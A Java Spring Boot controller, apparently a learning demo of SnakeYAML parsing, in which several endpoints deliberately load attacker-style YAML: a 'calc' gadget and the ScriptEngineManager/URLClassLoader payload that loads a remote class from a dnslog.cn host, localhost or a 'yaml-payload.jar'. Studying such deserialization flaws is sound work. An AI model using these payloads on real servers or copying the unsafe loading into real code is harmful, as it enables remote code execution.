package com.audaque.springboot.foshanupload.web.webdemo.controller;

import com.audaque.springboot.foshanupload.log.anno.WebLogAnno;
import com.audaque.springboot.foshanupload.web.webdemo.model.domain.*;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.TypeDescription;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.Constructor;
import org.yaml.snakeyaml.constructor.SafeConstructor;

import javax.script.ScriptEngineManager;
import java.io.InputStream;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

@Slf4j
@RestController
@RequestMapping("snakeyaml")
public class SnakeyamlController {


    @WebLogAnno
    @GetMapping("/parse1")
    public void parse1() throws Exception {
        Yaml yaml = new Yaml();
        InputStream inputStream = this.getClass()
                .getClassLoader()
                .getResourceAsStream("config/application.yml");
        Map<String, Object> obj = yaml.load(inputStream);
        System.out.println(obj);
    }

    @WebLogAnno
    @GetMapping("/parse11")
    public void parse11() throws Exception {
        //指定key的类型
        Constructor constructor = new Constructor(Contact.class);
        TypeDescription customTypeDescription = new TypeDescription(Contact.class);
        customTypeDescription.addPropertyParameters("contactDetails", ContactDetail.class);
        constructor.addTypeDescription(customTypeDescription);

        Yaml yaml = new Yaml(constructor);
        InputStream inputStream = this.getClass()
                .getClassLoader()
                .getResourceAsStream("yaml/snakeyaml.yml");
        Iterable<Object> itS = yaml.loadAll(inputStream);
        for (Object O : itS) {
            System.out.println(O);
        }

    }


    @WebLogAnno
    @GetMapping("/parse12")
    public void parse12() throws Exception {
        Yaml yaml = new Yaml();
        InputStream inputStream = this.getClass()
                .getClassLoader()
                .getResourceAsStream("yaml/snakeyaml.yml");
        Iterable<Object> itS = yaml.loadAll(inputStream);
        for (Object O : itS) {
            System.out.println(O);
        }

    }


    @WebLogAnno
    @GetMapping("/parse13")
    public Contact parse13() throws Exception {
        Yaml yaml = new Yaml();
        InputStream inputStream = this.getClass()
                .getClassLoader()
                .getResourceAsStream("yaml/snakeyaml1.yml");
        Contact contact = yaml.loadAs(inputStream, Contact.class);
        return contact;
    }


    @WebLogAnno
    @GetMapping("/parse14")
    public Person parse14() throws Exception {
        // 反序列化
        String str = "!!com.audaque.springboot.foshanupload.web.webdemo.model.domain.Person {age: 18, name: mike}";
        Yaml yaml = new Yaml();
        Person person = (Person) yaml.load(str);
        return person;

    }

    @WebLogAnno
    @GetMapping("/parse15")
    public String parse15() throws Exception {
        Yaml yaml = new Yaml();
        // 实例化类，类上的恶意代码会被执行
        Foo foo = yaml.loadAs("!!com.audaque.springboot.foshanupload.web.webdemo.model.domain.Foo {}", Foo.class);
        String dump = yaml.dump(foo);
        return dump;

    }




    @WebLogAnno
    @GetMapping("/parse16")
    public String parse16() throws Exception {
        Yaml yaml = new Yaml();
        // 实例化类，类上的恶意代码会被执行
        Gadget foo = yaml.loadAs("!!cc11001100.snakeyaml.Gadget [\"calc\"]", Gadget.class);
        String dump = yaml.dump(foo);
        return dump;

    }









    @WebLogAnno
    @GetMapping("/toYml2")
    public String toYml2() throws Exception {
        Map<String, Object> data = new HashMap<String, Object>();
        data.put("firstName", "John");
        data.put("lastName", "Doe");
        data.put("age", 31);

        List<Map<String, Object>> objects = new ArrayList<>();
        Map<String, Object> map1 = new HashMap<String, Object>();
        map1.put("type", "mobile");
        map1.put("number", 123456789);
        objects.add(map1);
        Map<String, Object> map2 = new HashMap<String, Object>();
        map2.put("type", "landline");
        map2.put("number", 123456789);
        objects.add(map2);

        data.put("contactDetails", objects);

        Yaml yaml = new Yaml();
        StringWriter writer = new StringWriter();
        yaml.dump(data, writer);
        return writer.toString();
    }

    @WebLogAnno
    @GetMapping("/parse2")
    public Object parse2() throws Exception {
        // 反序列化
        Yaml yaml = new Yaml();
        Object obj = yaml.load(toYml2());
        return obj;
    }


    @GetMapping("/parse21")
    public Contact parse21() throws Exception {
        Yaml yaml = new Yaml();
        Contact contact = yaml.loadAs(toYml2(), Contact.class);
        return contact;
    }


    @WebLogAnno
    @GetMapping("/toYml3")
    public String toYml3() throws Exception {

        Contact contact = new Contact();
        contact.setAge(31);
        contact.setFirstName("John");
        contact.setLastName("Doe");


        List<ContactDetail> objects = new ArrayList<>();
        ContactDetail contactDetail1 = new ContactDetail();
        contactDetail1.setType("mobile");
        contactDetail1.setNumber(123456789);
        objects.add(contactDetail1);
        ContactDetail contactDetail2 = new ContactDetail();
        contactDetail2.setType("landline");
        contactDetail2.setNumber(123456789);
        objects.add(contactDetail2);
        contact.setContactDetails(objects);

        Yaml yaml = new Yaml();
        StringWriter writer = new StringWriter();
        yaml.dump(contact, writer);
        return writer.toString();
    }


    @WebLogAnno
    @GetMapping("/parse3")
    public Contact parse3() throws Exception {
        // 反序列化
        Yaml yaml = new Yaml();
        Contact contact = (Contact) yaml.load(toYml3());
        return contact;
    }


    @WebLogAnno
    @GetMapping("/parse31")
    public Contact parse31() throws Exception {
        // 反序列化
        Yaml yaml = new Yaml(new SafeConstructor());
        Contact contact = (Contact) yaml.load(toYml3());
        return contact;
    }


    /**
     * DNS blacklist
     *
     * @throws Exception
     */
    @GetMapping("/parse4")
    public void parse4() throws Exception {
        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://g3ghcb.dnslog.cn\"]]]]\n";
        Yaml yaml = new Yaml();
        ScriptEngineManager scriptEngineManager = (ScriptEngineManager) yaml.load(context);
        log.info("scriptEngineManager:" + scriptEngineManager);
    }


    @GetMapping("/parse41")
    public void parse41() throws Exception {
        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8083/webdemo/class/get\"]]]]\n";
        Yaml yaml = new Yaml();
        ScriptEngineManager scriptEngineManager = (ScriptEngineManager) yaml.load(context);
        log.info("scriptEngineManager:" + scriptEngineManager);
    }





    @GetMapping("/parse42")
    public void parse42() throws Exception {
        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:E:/code/java/myDiy/springbootclouddemo/demo/webdemo/src/main/resources/lib/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        ScriptEngineManager scriptEngineManager = (ScriptEngineManager) yaml.load(context);
        log.info("scriptEngineManager:" + scriptEngineManager);
    }


    @GetMapping("/parse43")
    public void parse43() throws Exception {
        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"classpath:/lib/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        ScriptEngineManager scriptEngineManager = (ScriptEngineManager) yaml.load(context);
        log.info("scriptEngineManager:" + scriptEngineManager);
    }




}
